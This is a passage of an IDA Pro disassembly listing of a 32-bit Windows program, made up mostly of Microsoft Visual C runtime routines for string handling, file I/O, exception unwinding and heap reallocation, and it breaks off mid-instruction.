sub_41F6D0+1Bj cmp [ebp+var_4], 0 jz short loc_41F70B mov ecx, [ebp+var_4] push ecx call __dosmaperr add esp, 4 or eax, 0FFFFFFFFh jmp short loc_41F70D ; --------------------------------------------------------------------------- loc_41F70B: ; CODE XREF: sub_41F6D0+28j xor eax, eax loc_41F70D: ; CODE XREF: sub_41F6D0+39j mov esp, ebp pop ebp retn sub_41F6D0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] push eax call sub_41F6D0 add esp, 4 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [000000C1 BYTES: COLLAPSED FUNCTION _fprintf. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000027 BYTES: COLLAPSED FUNCTION _strrchr. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000038 BYTES: COLLAPSED FUNCTION _strncmp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000E0 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [00000005 BYTES: COLLAPSED CHUNK OF FUNCTION _strchr. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000BC BYTES: COLLAPSED FUNCTION _strchr. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000084 BYTES: COLLAPSED FUNCTION _strcmp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000145 BYTES: COLLAPSED FUNCTION _strtok. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000F3 BYTES: COLLAPSED FUNCTION __vsnprintf. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000123 BYTES: COLLAPSED FUNCTION _strncat. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000335 BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000B7 BYTES: COLLAPSED FUNCTION _sscanf. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000135 BYTES: COLLAPSED FUNCTION _floor. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000021 BYTES: COLLAPSED FUNCTION __fpmath. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000005 BYTES: COLLAPSED FUNCTION __initp_misc_winxfltr. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000041 BYTES: COLLAPSED FUNCTION __cfltcvt_init. PRESS KEYPAD "+" TO EXPAND] align 10h push ebp mov ebp, esp push ecx mov eax, dword_4F3550 mov [ebp-4], eax mov ecx, [ebp+8] mov dword_4F3550, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; [00000027 BYTES: COLLAPSED FUNCTION __ftol. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000135 BYTES: COLLAPSED FUNCTION _ceil. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000002D BYTES: COLLAPSED FUNCTION _JumpToContinuation(void *,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 ; --------------------------------------------------------------------------- align 10h ; [00000007 BYTES: COLLAPSED FUNCTION sub_4205F0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000007 BYTES: COLLAPSED FUNCTION sub_420600. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000007 BYTES: COLLAPSED FUNCTION sub_420610. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000056 BYTES: COLLAPSED FUNCTION _UnwindNestedFrames(EHRegistrationNode *,EHExceptionRecord *). PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003C BYTES: COLLAPSED FUNCTION ___CxxFrameHandler3. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000026 BYTES: COLLAPSED FUNCTION __CxxLongjmpUnwind(x). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000068 BYTES: COLLAPSED FUNCTION _CallCatchBlock2(EHRegistrationNode *,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000039 BYTES: COLLAPSED FUNCTION CatchGuardHandler(EHExceptionRecord *,CatchGuardRN *,void *,void *). PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000CC BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000081 BYTES: COLLAPSED FUNCTION TranslatorGuardHandler(EHExceptionRecord *,TranslatorGuardRN *,void *,void *). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000082 BYTES: COLLAPSED FUNCTION _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2. PRESS KEYPAD "+" TO EXPAND] ; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler. PRESS KEYPAD "+" TO EXPAND] ; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+" TO EXPAND] ; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND] ; [00000009 BYTES: COLLAPSED FUNCTION __NLG_Notify1. PRESS KEYPAD "+" TO EXPAND] ; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001F BYTES: COLLAPSED FUNCTION __EH_prolog. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000335 BYTES: COLLAPSED FUNCTION _memcpy_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000A1 BYTES: COLLAPSED FUNCTION operator delete(void *). PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001C BYTES: COLLAPSED FUNCTION operator new(uint). PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000B3 BYTES: COLLAPSED FUNCTION __onexit. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000018 BYTES: COLLAPSED FUNCTION _atexit. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000004D BYTES: COLLAPSED FUNCTION ___onexitinit. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000181 BYTES: COLLAPSED FUNCTION _time. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000D0 BYTES: COLLAPSED FUNCTION __strcmpi. PRESS KEYPAD "+" TO EXPAND] ; [0000006A BYTES: COLLAPSED FUNCTION _fseek. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000127 BYTES: COLLAPSED FUNCTION __fseek_lk. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000034 BYTES: COLLAPSED FUNCTION __allmul. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421420(void *Str,size_t Size,size_t Count,FILE *File) sub_421420 proc near ; CODE XREF: sub_416D25+127p var_4 = dword ptr -4 Str = dword ptr 8 Size = dword ptr 0Ch Count = dword ptr 10h File = dword ptr 14h push ebp mov ebp, esp push ecx mov eax, [ebp+File] push eax call __lock_file add esp, 4 mov ecx, [ebp+File] push ecx ; File mov edx, [ebp+Count] push edx ; Count mov eax, [ebp+Size] push eax ; Size mov ecx, [ebp+Str] push ecx ; Str call _fwrite add esp, 10h mov [ebp+var_4], eax mov edx, [ebp+File] push edx call __unlock_file add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_421420 endp ; --------------------------------------------------------------------------- align 10h ; [00000219 BYTES: COLLAPSED FUNCTION _fwrite. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421680 proc near ; CODE XREF: sub_417471+8p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] push eax call ds:dword_4F536C ; GetFileAttributesA mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_4216AB call ds:dword_4F5360 ; RtlGetLastWin32Error push eax call __dosmaperr add esp, 4 or eax, 0FFFFFFFFh jmp short loc_4216DC ; --------------------------------------------------------------------------- loc_4216AB: ; CODE XREF: sub_421680+15j mov ecx, [ebp+var_4] and ecx, 1 test ecx, ecx jz short loc_4216DA mov edx, [ebp+arg_4] and edx, 2 test edx, edx jz short loc_4216DA call __errno mov dword ptr [eax], 0Dh call ___doserrno mov dword ptr [eax], 5 or eax, 0FFFFFFFFh jmp short loc_4216DC ; --------------------------------------------------------------------------- loc_4216DA: ; CODE XREF: sub_421680+33j ; sub_421680+3Dj xor eax, eax loc_4216DC: ; CODE XREF: sub_421680+29j ; sub_421680+58j mov esp, ebp pop ebp retn sub_421680 endp ; [00000068 BYTES: COLLAPSED FUNCTION __aulldiv. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000075 BYTES: COLLAPSED FUNCTION __aullrem. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000AA BYTES: COLLAPSED FUNCTION __alldiv. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000001BF BYTES: COLLAPSED FUNCTION __strupr. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000041 BYTES: COLLAPSED FUNCTION _isalpha. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003C BYTES: COLLAPSED FUNCTION _isupper. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003C BYTES: COLLAPSED FUNCTION _islower. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003C BYTES: COLLAPSED FUNCTION _isdigit. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000041 BYTES: COLLAPSED FUNCTION _isxdigit. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003C BYTES: COLLAPSED FUNCTION _isspace. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003C BYTES: COLLAPSED FUNCTION _ispunct. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000041 BYTES: COLLAPSED FUNCTION _isalnum. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000041 BYTES: COLLAPSED FUNCTION _isprint. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000041 BYTES: COLLAPSED FUNCTION _isgraph. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003C BYTES: COLLAPSED FUNCTION _iscntrl. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000010 BYTES: COLLAPSED FUNCTION ___isascii. PRESS KEYPAD "+" TO EXPAND] ; [0000000B BYTES: COLLAPSED FUNCTION ___toascii. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000005F BYTES: COLLAPSED FUNCTION ___iscsymf. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000005F BYTES: COLLAPSED FUNCTION ___iscsym. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000AC BYTES: COLLAPSED FUNCTION _memcmp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000000B BYTES: COLLAPSED FUNCTION __tolower. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000093 BYTES: COLLAPSED FUNCTION _tolower. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000012B BYTES: COLLAPSED FUNCTION _tolower_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000030 BYTES: COLLAPSED FUNCTION _wcslen. PRESS KEYPAD "+" TO EXPAND] ; [0000007A BYTES: COLLAPSED FUNCTION _mbstowcs. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000001EB BYTES: COLLAPSED FUNCTION __mbstowcs_lk. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000132 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_422492 proc near ; DATA XREF: .rdata:0043CDECo mov ecx, [ebp-14h] mov edx, [ecx] mov eax, [edx] mov [ebp-68h], eax mov ecx, [ebp-14h] push ecx mov edx, [ebp-68h] push edx call __XcptFilter add esp, 8 retn sub_422492 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4224AD proc near ; DATA XREF: .rdata:0043CDF0o mov esp, [ebp-18h] mov eax, [ebp-68h] push eax ; Code call __exit sub_4224AD endp ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [00000028 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD "+" TO EXPAND] add esp, 4 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [0000002A BYTES: COLLAPSED FUNCTION _fast_error_exit. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000012C BYTES: COLLAPSED FUNCTION ___initstdio. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001A BYTES: COLLAPSED FUNCTION ___endstdio. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003D BYTES: COLLAPSED FUNCTION __lock_file. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000029 BYTES: COLLAPSED FUNCTION __lock_file2. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003D BYTES: COLLAPSED FUNCTION __unlock_file. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000029 BYTES: COLLAPSED FUNCTION __unlock_file2. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422760 proc near ; CODE XREF: __CrtDbgReport+113p ; _CrtMessageWindow+33p push ebp mov ebp, esp call ds:dword_4F5498 ; DebugBreak pop ebp retn sub_422760 endp ; --------------------------------------------------------------------------- align 10h ; [00000057 BYTES: COLLAPSED FUNCTION __CrtSetReportMode. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000007E BYTES: COLLAPSED FUNCTION __CrtSetReportFile. PRESS KEYPAD "+" TO EXPAND] align 10h push ebp mov ebp, esp push ecx mov eax, dword_4F3C10 mov [ebp-4], eax mov ecx, [ebp+8] mov dword_4F3C10, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [00000390 BYTES: COLLAPSED FUNCTION __CrtDbgReport. PRESS KEYPAD "+" TO EXPAND] ; [0000030C BYTES: COLLAPSED FUNCTION _CrtMessageWindow. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000007A BYTES: COLLAPSED FUNCTION __close. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000AA BYTES: COLLAPSED FUNCTION __close_lk. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000092 BYTES: COLLAPSED FUNCTION __freebuf. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000044 BYTES: COLLAPSED FUNCTION _fflush. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000041 BYTES: COLLAPSED FUNCTION __fflush_lk. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000B7 BYTES: COLLAPSED FUNCTION __flush. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000000F BYTES: COLLAPSED FUNCTION __flushall. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000013F BYTES: COLLAPSED FUNCTION _flsall. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000030 BYTES: COLLAPSED FUNCTION _set_new_handler(int (*)(uint)). PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, dword_4F3588 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [0000002D BYTES: COLLAPSED FUNCTION __callnewh. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000037 BYTES: COLLAPSED FUNCTION __mtinitlocks. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000009F BYTES: COLLAPSED FUNCTION __mtdeletelocks. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000097 BYTES: COLLAPSED FUNCTION __lock. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000016 BYTES: COLLAPSED FUNCTION __unlock. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001C BYTES: COLLAPSED FUNCTION __lockerr_exit. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; [000000BD BYTES: COLLAPSED FUNCTION unknown_libname_3. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- unknown_libname_4: ; Microsoft VisualC 2-8/net runtime push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call __local_unwind2 add esp, 8 pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h ; [00000020 BYTES: COLLAPSED FUNCTION __malloc_base. PRESS KEYPAD "+" TO EXPAND] ; [00000057 BYTES: COLLAPSED FUNCTION __nh_malloc_base. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000065 BYTES: COLLAPSED FUNCTION __heap_alloc_base. PRESS KEYPAD "+" TO EXPAND] ; [0000000B BYTES: COLLAPSED FUNCTION sub_423785. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [00000077 BYTES: COLLAPSED CHUNK OF FUNCTION __heap_alloc_base. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_423807 proc near ; CODE XREF: __heap_alloc_base+E0p ; DATA XREF: .rdata:0043D05Co push 9 call __unlock add esp, 4 retn sub_423807 endp ; --------------------------------------------------------------------------- ; [0000005B BYTES: COLLAPSED CHUNK OF FUNCTION __heap_alloc_base. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000000A BYTES: COLLAPSED FUNCTION unknown_libname_5. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423880 proc near ; CODE XREF: _realloc_help+2D4p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0042392C SIZE 000000EE BYTES ; FUNCTION CHUNK AT 00423A25 SIZE 00000068 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43D060 push offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFE0h push ebx push esi push edi cmp [ebp+arg_4], 0FFFFFFE0h jbe short loc_4238B0 xor eax, eax jmp loc_423A7C ; --------------------------------------------------------------------------- loc_4238B0: ; CODE XREF: sub_423880+27j cmp dword_4F3BEC, 3 jnz loc_423968 push 9 call __lock add esp, 4 mov [ebp+var_4], 0 mov eax, [ebp+arg_0] push eax call ___sbh_find_block add esp, 4 mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_423913 mov [ebp+var_1C], 0 mov ecx, [ebp+arg_4] cmp ecx, dword_4F3C0C ja short loc_423913 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_20] push ecx call ___sbh_resize_block add esp, 0Ch test eax, eax jz short loc_423913 mov edx, [ebp+arg_0] mov [ebp+var_1C], edx loc_423913: ; CODE XREF: sub_423880+61j ; sub_423880+73j ... mov [ebp+var_4], 0FFFFFFFFh call sub_423921 jmp short loc_42392C sub_423880 endp ; =============== S U B R O U T I N E ======================================= sub_423921 proc near ; CODE XREF: sub_423880+9Ap ; DATA XREF: .rdata:0043D068o push 9 call __unlock add esp, 4 retn sub_423921 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423880 loc_42392C: ; CODE XREF: sub_423880+9Fj cmp [ebp+var_20], 0 jnz short loc_423963 cmp [ebp+arg_4], 0 jnz short loc_42393F mov [ebp+arg_4], 1 loc_42393F: ; CODE XREF: sub_423880+B6j mov eax, [ebp+arg_4] add eax, 0Fh and al, 0F0h mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx push 10h mov eax, dword_4F3BE8 push eax call ds:dword_4F54AC ; RtlReAllocateHeap mov [ebp+var_1C], eax loc_423963: ; CODE XREF: sub_423880+B0j jmp loc_423A79 ; --------------------------------------------------------------------------- loc_423968: ; CODE XREF: sub_423880+37j cmp dword_4F3BEC, 2 jnz loc_423A46 cmp [ebp+arg_4], 0 jnz short loc_423982 mov [ebp+arg_4], 1 loc_423982: ; CODE XREF: sub_423880+F9j mov ecx, [ebp+arg_4] add ecx, 0Fh and ecx, 0FFFFFFF0h mov [ebp+arg_4], ecx push 9 call __lock add esp, 4 mov [ebp+var_4], 1 lea edx, [ebp+var_24] push edx lea eax, [ebp+var_2C] push eax mov ecx, [ebp+arg_0] push ecx call ___sbh_find_block_0 add esp, 0Ch mov [ebp+var_28], eax cmp [ebp+var_28], 0 jz short loc_423A0C mov [ebp+var_1C], 0 mov edx, [ebp+arg_4] cmp edx, dword_453CEC ja short loc_4239F3 mov eax, [ebp+arg_4] shr eax, 4 push eax mov ecx, [ebp+var_28] push ecx mov edx, [ebp+var_24] push edx mov eax, [ebp+var_2C] push eax call ___sbh_resize_block_0 add esp, 10h test eax, eax jz short loc_4239F3 mov ecx, [ebp+arg_0] mov [ebp+var_1C], ecx loc_4239F3: ; CODE XREF: sub_423880+14Cj ; sub_423880+16Bj push 0FFFFFFFFh mov edx, [ebp+var_1C] mov [ebp+var_30], edx lea eax, [ebp+var_10] push eax call __local_unwind2 add esp, 8 mov eax, [ebp+var_30] jmp short loc_423A7C ; --------------------------------------------------------------------------- loc_423A0C: ; CODE XREF: sub_423880+13Aj mov [ebp+var_4], 0FFFFFFFFh call sub_423A1A jmp short loc_423A25 ; END OF FUNCTION CHUNK FOR sub_423880 ; =============== S U B R O U T I N E ======================================= sub_423A1A proc near ; CODE XREF: sub_423880+193p ; DATA XREF: .rdata:0043D074o push 9 call __unlock add esp, 4 retn sub_423A1A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423880 loc_423A25: ; CODE XREF: sub_423880+198j cmp [ebp+var_28], 0 jnz short loc_423A44 mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx push 10h mov eax, dword_4F3BE8 push eax call ds:dword_4F54AC ; RtlReAllocateHeap mov [ebp+var_1C], eax loc_423A44: ; CODE XREF: sub_423880+1A9j jmp short loc_423A79 ; --------------------------------------------------------------------------- loc_423A46: ; CODE XREF: sub_423880+EFj cmp [ebp+arg_4], 0 jnz short loc_423A53 mov [ebp+arg_4], 1 loc_423A53: ; CODE XREF: sub_423880+1CAj mov ecx, [ebp+arg_4] add ecx, 0Fh and ecx, 0FFFFFFF0h mov [ebp+arg_4], ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax push 10h mov ecx, dword_4F3BE8 push ecx call ds:dword_4F54AC ; RtlReAllocateHeap mov [ebp+var_1C], eax loc_423A79: ; CODE XREF: sub_423880:loc_423963j ; sub_423880:loc_423A44j mov eax, [ebp+var_1C] loc_423A7C: ; CODE XREF: sub_423880+2Bj ; sub_423880+18Aj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_423880 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_423A90(void *Src,int) sub_423A90 proc near ; CODE XREF: _realloc_help+2AFp var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h Size = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h Dst = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 Src = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 00423C63 SIZE 0000020C BYTES ; FUNCTION CHUNK AT 00423E7A SIZE 000000A9 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43D078 push offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFC8h push ebx push esi push edi mov eax, [ebp+arg_4] mov [ebp+var_1C], eax cmp [ebp+Src], 0 jnz short loc_423AD0 mov ecx, [ebp+arg_4] push ecx call __malloc_base add esp, 4 jmp loc_423F12 ; --------------------------------------------------------------------------- loc_423AD0: ; CODE XREF: sub_423A90+2Dj cmp [ebp+arg_4], 0 jnz short loc_423AE9 mov edx, [ebp+Src] push edx call sub_423F30 add esp, 4 xor eax, eax jmp loc_423F12 ; --------------------------------------------------------------------------- loc_423AE9: ; CODE XREF: sub_423A90+44j cmp dword_4F3BEC, 3 jnz loc_423CCF loc_423AF6: ; CODE XREF: sub_423A90:loc_423CCAj mov [ebp+Dst], 0 cmp [ebp+arg_4], 0FFFFFFE0h ja loc_423C9C push 9 call __lock add esp, 4 mov [ebp+var_4], 0 mov eax, [ebp+Src] push eax call ___sbh_find_block add esp, 4 mov [ebp+var_28], eax cmp [ebp+var_28], 0 jz loc_423C4A mov ecx, [ebp+arg_4] cmp ecx, dword_4F3C0C ja loc_423BCA mov edx, [ebp+arg_4] push edx mov eax, [ebp+Src] push eax mov ecx, [ebp+var_28] push ecx call ___sbh_resize_block add esp, 0Ch test eax, eax jz short loc_423B60 mov edx, [ebp+Src] mov [ebp+Dst], edx jmp short loc_423BCA ; --------------------------------------------------------------------------- loc_423B60: ; CODE XREF: sub_423A90+C6j mov eax, [ebp+arg_4] push eax call ___sbh_alloc_block add esp, 4 mov [ebp+Dst], eax cmp [ebp+Dst], 0 jz short loc_423BCA mov ecx, [ebp+Src] mov edx, [ecx-4] sub edx, 1 mov [ebp+var_20], edx mov eax, [ebp+var_20] cmp eax, [ebp+arg_4] jnb short loc_423B91 mov ecx, [ebp+var_20] mov [ebp+Size], ecx jmp short loc_423B97 ; --------------------------------------------------------------------------- loc_423B91: ; CODE XREF: sub_423A90+F7j mov edx, [ebp+arg_4] mov [ebp+Size], edx loc_423B97: ; CODE XREF: sub_423A90+FFj mov eax, [ebp+Size] push eax ; Size mov ecx, [ebp+Src] push ecx ; Src mov edx, [ebp+Dst] push edx ; Dst call _memcpy add esp, 0Ch mov eax, [ebp+Src] push eax call ___sbh_find_block add esp, 4 mov [ebp+var_28], eax mov ecx, [ebp+Src] push ecx mov edx, [ebp+var_28] push edx call sub_424410 add esp, 8 loc_423BCA: ; CODE XREF: sub_423A90+AAj ; sub_423A90+CEj ... cmp [ebp+Dst], 0 jnz short loc_423C4A cmp [ebp+arg_4], 0 jnz short loc_423BDD mov [ebp+arg_4], 1 loc_423BDD: ; CODE XREF: sub_423A90+144j mov eax, [ebp+arg_4] add eax, 0Fh and al, 0F0h mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] push ecx push 0 mov edx, dword_4F3BE8 push edx call ds:dword_4F5418 ; RtlAllocateHeap mov [ebp+Dst], eax cmp [ebp+Dst], 0 jz short loc_423C4A mov eax, [ebp+Src] mov ecx, [eax-4] sub ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+var_20] cmp edx, [ebp+arg_4] jnb short loc_423C20 mov eax, [ebp+var_20] mov [ebp+var_40], eax jmp short loc_423C26 ; --------------------------------------------------------------------------- loc_423C20: ; CODE XREF: sub_423A90+186j mov ecx, [ebp+arg_4] mov [ebp+var_40], ecx loc_423C26: ; CODE XREF: sub_423A90+18Ej mov edx, [ebp+var_40] push edx ; Size mov eax, [ebp+Src] push eax ; Src mov ecx, [ebp+Dst] push ecx ; Dst call _memcpy add esp, 0Ch mov edx, [ebp+Src] push edx mov eax, [ebp+var_28] push eax call sub_424410 add esp, 8 loc_423C4A: ; CODE XREF: sub_423A90+9Bj ; sub_423A90+13Ej ... mov [ebp+var_4], 0FFFFFFFFh call sub_423C58 jmp short loc_423C63 sub_423A90 endp ; =============== S U B R O U T I N E ======================================= sub_423C58 proc near ; CODE XREF: sub_423A90+1C1p ; DATA XREF: .rdata:0043D080o push 9 call __unlock add esp, 4 retn sub_423C58 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A90 loc_423C63: ; CODE XREF: sub_423A90+1C6j cmp [ebp+var_28], 0 jnz short loc_423C9C cmp [ebp+arg_4], 0 jnz short loc_423C76 mov [ebp+arg_4], 1 loc_423C76: ; CODE XREF: sub_423A90+1DDj mov ecx, [ebp+arg_4] add ecx, 0Fh and ecx, 0FFFFFFF0h mov [ebp+arg_4], ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+Src] push eax push 0 mov ecx, dword_4F3BE8 push ecx call ds:dword_4F54AC ; RtlReAllocateHeap mov [ebp+Dst], eax loc_423C9C: ; CODE XREF: sub_423A90+71j ; sub_423A90+1D7j cmp [ebp+Dst], 0 jnz short loc_423CAB cmp dword_4F3584, 0 jnz short loc_423CB3 loc_423CAB: ; CODE XREF: sub_423A90+210j mov eax, [ebp+Dst] jmp loc_423F12 ; --------------------------------------------------------------------------- loc_423CB3: ; CODE XREF: sub_423A90+219j mov edx, [ebp+arg_4] push edx call __callnewh add esp, 4 test eax, eax jnz short loc_423CCA xor eax, eax jmp loc_423F12 ; --------------------------------------------------------------------------- loc_423CCA: ; CODE XREF: sub_423A90+231j jmp loc_423AF6 ; --------------------------------------------------------------------------- loc_423CCF: ; CODE XREF: sub_423A90+60j cmp dword_4F3BEC, 2 jnz loc_423EAA cmp 